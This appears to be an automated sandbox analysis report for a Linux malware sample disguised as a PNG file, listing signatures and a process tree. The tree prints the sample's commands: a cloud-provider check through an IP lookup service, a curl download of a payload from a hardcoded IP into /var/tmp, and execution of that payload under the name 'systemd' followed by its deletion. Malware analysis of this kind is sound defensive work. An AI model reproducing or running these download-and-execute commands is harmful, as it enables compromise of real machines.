Overview

overview

10

Static

static

1

top-bs.png

ubuntu-18.04-amd64

10

top-bs.png

debian-9-armhf

7

top-bs.png

debian-9-mips

top-bs.png

debian-9-mipsel

Analysis

  • max time kernel
    5s
  • max time network
    5s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20260513-en
  • resource tags

    arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    27/07/2026, 23:06

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    top-bs.png
  • Size 1KB
  • Sample260727-23dlystyew
  • SHA256 4d66f28b70bb27f25aa21cb7f41fc2173a57de6dbe03b4528a06110cc9910982
  • MD5 SHA1 SHA512 TLSH
Score
7/10
antivmdefense_evasiondiscoveryupx

Malware Config

Signatures

  • File and Directory Permissions Modification 1 TTPs 1 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • Executes dropped EXE 1 IoCs
  • Looks up external IP address via web service 1 TTPs 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

    discovery
  • UPX packed file 1 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

    upx
  • Checks CPU configuration 1 TTPs 1 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

    antivm
  • Reads runtime system information 5 IoCs

    Reads data from /proc virtual filesystem.

    discovery

Processes

  • /tmp/top-bs.png
    /tmp/top-bs.png
    1⤵
      PID:657
      • /bin/mount
        mount
        2⤵
        • Reads runtime system information
        PID:662
      • /bin/grep
        grep -E "\\s/var/tmp\\s"
        2⤵
          PID:664
        • /bin/grep
          grep -q noexec
          2⤵
            PID:665
          • /usr/bin/wget
            wget -U "Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/81.0" -T 5 -t 1 -qO- http://ip-api.com/json
            2⤵
              PID:677
            • /bin/sed
              sed -n "s/.*\"isp\":\"\\([^\"]*\\)\",\"org\":\"\\([^\"]*\\)\".*/\\1 \\2/p"
              2⤵
              • Reads runtime system information
              PID:691
            • /bin/grep
              grep -Ei "Amazon|AWS EC|Microsoft Azure|Google Cloud|Oracle Corporation|Oracle Cloud|IBM Cloud|Alibaba|ALICLOUD|Tencent|Huawei|DigitalOcean|Akamai|Hetzner|OVH Hosting|Linode"
              2⤵
                PID:693
              • /usr/bin/curl
                curl -m 600 -fsSL -k http://212.83.185.19/headerss.png -o /var/tmp/systemd
                2⤵
                • Checks CPU configuration
                • Reads runtime system information
                PID:694
              • /bin/chmod
                chmod u+x /var/tmp/systemd
                2⤵
                • File and Directory Permissions Modification
                PID:696
              • /bin/sleep
                sleep 2
                2⤵
                  PID:699
                • /bin/rm
                  rm -f /var/tmp/systemd
                  2⤵
                    PID:747
                • /usr/bin/nohup
                  nohup /var/tmp/systemd
                  1⤵
                  • Executes dropped EXE
                  PID:698
                • /var/tmp/systemd
                  /var/tmp/systemd
                  1⤵
                    PID:698
                  • /bin/sh
                    /bin/sh /var/tmp/systemd
                    1⤵
                      PID:698

                    Network

                          MITRE ATT&CK Enterprise v16

                          Replay Monitor

                          Loading Replay Monitor...

                          Downloads

                          systemd
                          • Path /var/tmp/systemd
                          • Size 9.1MB
                          • SHA256 09e8bdc9d3e0d5526ef911caa681298cc6cbc638ece9914a7ee8661e020263a6
                          • MD5 SHA1 SHA512 SSDEEP TLSH
                          Submit Download